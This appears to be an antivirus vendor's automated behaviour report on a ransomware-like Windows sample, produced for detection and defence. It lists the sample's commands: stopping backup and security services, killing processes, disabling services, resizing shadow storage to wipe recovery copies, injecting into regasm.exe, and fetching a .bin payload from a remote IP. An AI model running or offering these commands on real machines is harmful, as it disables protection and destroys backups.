Technical Information
Malicious functions
To complicate detection of its presence in the operating system,
deletes volume shadow copies.
Executes the following
- '%WINDIR%\syswow64\net.exe' stop avpsus /y
- '%WINDIR%\syswow64\net.exe' stop VeeamNFSSvc /y
- '%WINDIR%\syswow64\net.exe' stop veeam /y
- '%WINDIR%\syswow64\net.exe' stop PDVFSService /y
- '%WINDIR%\syswow64\net.exe' stop BackupExecVSSProvider /y
- '%WINDIR%\syswow64\net.exe' stop BackupExecAgentAccelerator /y
- '%WINDIR%\syswow64\net.exe' stop BackupExecAgentBrowser /y
- '%WINDIR%\syswow64\net.exe' stop BackupExecDiveciMediaService /y
- '%WINDIR%\syswow64\net.exe' stop BackupExecManagementService /y
- '%WINDIR%\syswow64\taskkill.exe' /IM mydesktopqos.exe /F
- '%WINDIR%\syswow64\net.exe' stop BackupExecRPCService /y
- '%WINDIR%\syswow64\net.exe' stop AcrSch2Svc /y
- '%WINDIR%\syswow64\net.exe' stop AcronisAgent /y
- '%WINDIR%\syswow64\net.exe' stop CASAD2DWebSvc /y
- '%WINDIR%\syswow64\net.exe' stop CAARCUpdateSvc /y
- '%WINDIR%\syswow64\net.exe' stop sophos /y
- '%WINDIR%\syswow64\taskkill.exe' /IM mspub.exe /F
- '%WINDIR%\syswow64\net.exe' stop VeeamDeploymentService /y
- '%WINDIR%\syswow64\net.exe' stop BackupExecJobEngine /y
- '%WINDIR%\syswow64\net.exe' stop VeeamTransportSvc /y
- '%WINDIR%\syswow64\net.exe' stop SavRoam /y
- '%WINDIR%\syswow64\net.exe' stop McAfeeDLPAgentService /y
- '%WINDIR%\syswow64\net.exe' stop mfewc /y
- '%WINDIR%\syswow64\net.exe' stop BMR Boot Service /y
- '%WINDIR%\syswow64\net.exe' stop NetBackup BMR MTFTP Service /y
- '%WINDIR%\syswow64\net.exe' stop DefWatch /y
- '%WINDIR%\syswow64\net.exe' stop ccEvtMgr /y
- '%WINDIR%\syswow64\net.exe' stop ccSetMgr /y
- '%WINDIR%\syswow64\net.exe' stop RTVscan /y
- '%WINDIR%\syswow64\net.exe' stop stc_raw_agent /y
- '%WINDIR%\syswow64\net.exe' stop QBFCService /y
- '%WINDIR%\syswow64\net.exe' stop QBIDPService /y
- '%WINDIR%\syswow64\net.exe' stop Intuit.QuickBooks.FCS /y
- '%WINDIR%\syswow64\net.exe' stop QBCFMonitorService /y
- '%WINDIR%\syswow64\net.exe' stop YooBackup /y
- '%WINDIR%\syswow64\net.exe' stop YooIT /y
- '%WINDIR%\syswow64\net.exe' stop zhudongfangyu /y
- '%WINDIR%\syswow64\net.exe' stop VSNAPVSS /y
- '%WINDIR%\syswow64\taskkill.exe' /IM mydesktopservice.exe /F
Injects code into
the following system processes:
- %WINDIR%\microsoft.net\framework\v4.0.30319\regasm.exe
Network activity
TCP
HTTP GET requests
- http://19#.#6.29.128/Client-17_nCoOSOQEsU142.bin
Miscellaneous
Searches for the following windows
- ClassName: '' WindowName: ''
Creates and executes the following
- '%WINDIR%\microsoft.net\framework\v4.0.30319\regasm.exe' ' (with hidden window)
Executes the following
- '%WINDIR%\microsoft.net\framework\v4.0.30319\regasm.exe'
- '%WINDIR%\syswow64\net1.exe' stop BackupExecManagementService /y
- '%WINDIR%\syswow64\net1.exe' stop BackupExecRPCService /y
- '%WINDIR%\syswow64\net1.exe' stop AcrSch2Svc /y
- '%WINDIR%\syswow64\net1.exe' stop AcronisAgent /y
- '%WINDIR%\syswow64\net1.exe' stop CASAD2DWebSvc /y
- '%WINDIR%\syswow64\net1.exe' stop CAARCUpdateSvc /y
- '%WINDIR%\syswow64\net1.exe' stop sophos /y
- '%WINDIR%\syswow64\sc.exe' config SQLTELEMETRY start= disabled
- '%WINDIR%\syswow64\sc.exe' config SQLTELEMETRY$ECWDB2 start= disabled
- '%WINDIR%\syswow64\sc.exe' config SQLWriter start= disabled
- '%WINDIR%\syswow64\net1.exe' stop Intuit.QuickBooks.FCS /y
- '%WINDIR%\syswow64\sc.exe' config SstpSvc start= disabled
- '%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=c: /on=c: /maxsize=401MB
- '%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=c: /on=c: /maxsize=unbounded
- '%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=d: /on=d: /maxsize=401MB
- '%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=d: /on=d: /maxsize=unbounded
- '%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=e: /on=e: /maxsize=401MB
- '%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=e: /on=e: /maxsize=unbounded
- '%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=f: /on=f: /maxsize=401MB
- '%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=f: /on=f: /maxsize=unbounded
- '%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=g: /on=g: /maxsize=401MB
- '%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=g: /on=g: /maxsize=unbounded
- '%WINDIR%\syswow64\net1.exe' stop BackupExecDiveciMediaService /y
- '%WINDIR%\syswow64\net1.exe' stop BackupExecJobEngine /y
- '%WINDIR%\syswow64\net1.exe' stop BackupExecAgentBrowser /y
- '%WINDIR%\syswow64\net1.exe' stop BackupExecAgentAccelerator /y
- '%WINDIR%\syswow64\net1.exe' stop BackupExecVSSProvider /y
- '%WINDIR%\syswow64\net1.exe' stop McAfeeDLPAgentService /y
- '%WINDIR%\syswow64\net1.exe' stop mfewc /y
- '%WINDIR%\syswow64\net1.exe' stop BMR Boot Service /y
- '%WINDIR%\syswow64\net1.exe' stop NetBackup BMR MTFTP Service /y
- '%WINDIR%\syswow64\net1.exe' stop DefWatch /y
- '%WINDIR%\syswow64\net1.exe' stop ccEvtMgr /y
- '%WINDIR%\syswow64\net1.exe' stop ccSetMgr /y
- '%WINDIR%\syswow64\net1.exe' stop SavRoam /y
- '%WINDIR%\syswow64\net1.exe' stop RTVscan /y
- '%WINDIR%\syswow64\net1.exe' stop QBFCService /y
- '%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=h: /on=h: /maxsize=401MB
- '<SYSTEM32>\vssvc.exe'
- '%WINDIR%\syswow64\net1.exe' stop QBIDPService /y
- '%WINDIR%\syswow64\net1.exe' stop YooBackup /y
- '%WINDIR%\syswow64\net1.exe' stop YooIT /y
- '%WINDIR%\syswow64\net1.exe' stop zhudongfangyu /y
- '%WINDIR%\syswow64\net1.exe' stop stc_raw_agent /y
- '%WINDIR%\syswow64\net1.exe' stop VSNAPVSS /y
- '%WINDIR%\syswow64\net1.exe' stop VeeamTransportSvc /y
- '%WINDIR%\syswow64\net1.exe' stop VeeamDeploymentService /y
- '%WINDIR%\syswow64\net1.exe' stop VeeamNFSSvc /y
- '%WINDIR%\syswow64\net1.exe' stop veeam /y
- '%WINDIR%\syswow64\net1.exe' stop PDVFSService /y
- '%WINDIR%\syswow64\net1.exe' stop avpsus /y
- '%WINDIR%\syswow64\net1.exe' stop QBCFMonitorService /y
- '%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=h: /on=h: /maxsize=unbounded
